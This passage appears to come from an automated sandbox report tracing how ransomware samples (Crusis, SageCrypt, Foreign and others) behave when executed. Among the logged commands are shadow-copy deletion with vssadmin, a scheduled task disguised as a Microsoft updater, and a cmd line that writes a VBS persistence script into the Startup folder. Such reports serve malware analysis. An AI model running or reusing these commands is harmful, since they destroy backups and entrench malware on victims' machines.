C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Blocker.ljpe-73fece16bccb22d72e1e27aedabdc2f8168bea1f88b3d24406aecde8caed7400.exerojan-Ransom.Win32.Blocker.ljpe-73fece16bccb22d72e1e27aedabdc2f8168bea1f88b3d24406aecde8caed7400.exe3⤵
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Blocker.lyyb-24713dba676eb17446c32c41c02f1c2df0c7c0c141a10129ccfef3e83e939a44.exeTrojan-Ransom.Win32.Blocker.lyyb-24713dba676eb17446c32c41c02f1c2df0c7c0c141a10129ccfef3e83e939a44.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\nvc32.exeC:\Users\Admin\AppData\Local\nvc32.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Crusis.to-253b606a1df715d763023be86ba061e79b17202a4f6c3387b66905f7661210cc.exeTrojan-Ransom.Win32.Crusis.to-253b606a1df715d763023be86ba061e79b17202a4f6c3387b66905f7661210cc.exe2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops autorun.inf file
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"3⤵
-
C:\Windows\system32\mode.commode con cp select=12514⤵
-
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Crypmod.abce-57e84da4e957456c4e8175890ede206164cf6dfd3294e43881a9c8a85e582dd1.exeTrojan-Ransom.Win32.Crypmod.abce-57e84da4e957456c4e8175890ede206164cf6dfd3294e43881a9c8a85e582dd1.exe2⤵
- Executes dropped EXE
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2104 -s 1883⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Crypmod.absj-d531ab589af63660210359ee898d845cb79d6799c70882932d9f191b2e322f66.exeTrojan-Ransom.Win32.Crypmod.absj-d531ab589af63660210359ee898d845cb79d6799c70882932d9f191b2e322f66.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\bz.vbs"3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Foreign.nysp-1540e3fdbc52ad3de631bf66af69bff0e88c38981a06a74ecab16a2a739e7111.exeTrojan-Ransom.Win32.Foreign.nysp-1540e3fdbc52ad3de631bf66af69bff0e88c38981a06a74ecab16a2a739e7111.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Foreign.nzem-ee4c1750d4e4c543abaa722410e2f3bfb0bdf2bd5b567cd66f36a92ef8e98d72.exeTrojan-Ransom.Win32.Foreign.nzem-ee4c1750d4e4c543abaa722410e2f3bfb0bdf2bd5b567cd66f36a92ef8e98d72.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\10F2\879.bat" "C:\Users\Admin\AppData\Roaming\cryppast\dpnadPnp.exe" "C:\Users\Admin\Desktop\00362\TR5AFE~1.EXE""3⤵
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Foreign.nzsj-3bd623f8c86656ff0e228b650e1a4530954ff4ee787ff59d0f05fa338381695b.exeTrojan-Ransom.Win32.Foreign.nzsj-3bd623f8c86656ff0e228b650e1a4530954ff4ee787ff59d0f05fa338381695b.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\upd73fe55db.bat"3⤵
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Foreign.zhs-b97827f56e5d80a8ea6d929cbd85c29a45f3fb7ed2da237c819535229ea91f91.exeTrojan-Ransom.Win32.Foreign.zhs-b97827f56e5d80a8ea6d929cbd85c29a45f3fb7ed2da237c819535229ea91f91.exe2⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Gen.djd-201f42080e1c989774d05d5b127a8cd4b4781f1956b78df7c01112436c89b2c9.exeTrojan-Ransom.Win32.Gen.djd-201f42080e1c989774d05d5b127a8cd4b4781f1956b78df7c01112436c89b2c9.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /xml "C:\Users\Admin\Desktop\00362\1.xml" /tn "Microsoft Update Scheduler" /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.execmd /c 157641730997849.bat3⤵
-
C:\Windows\SysWOW64\cscript.execscript //nologo c.vbs4⤵
-
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exeTrojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c echo on error resume next:CreateObject("WScript.Shell").Run "C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe",1: >"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x.vbs"3⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exeTrojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c echo on error resume next:CreateObject("WScript.Shell").Run "C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe",1: >"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x.vbs"5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
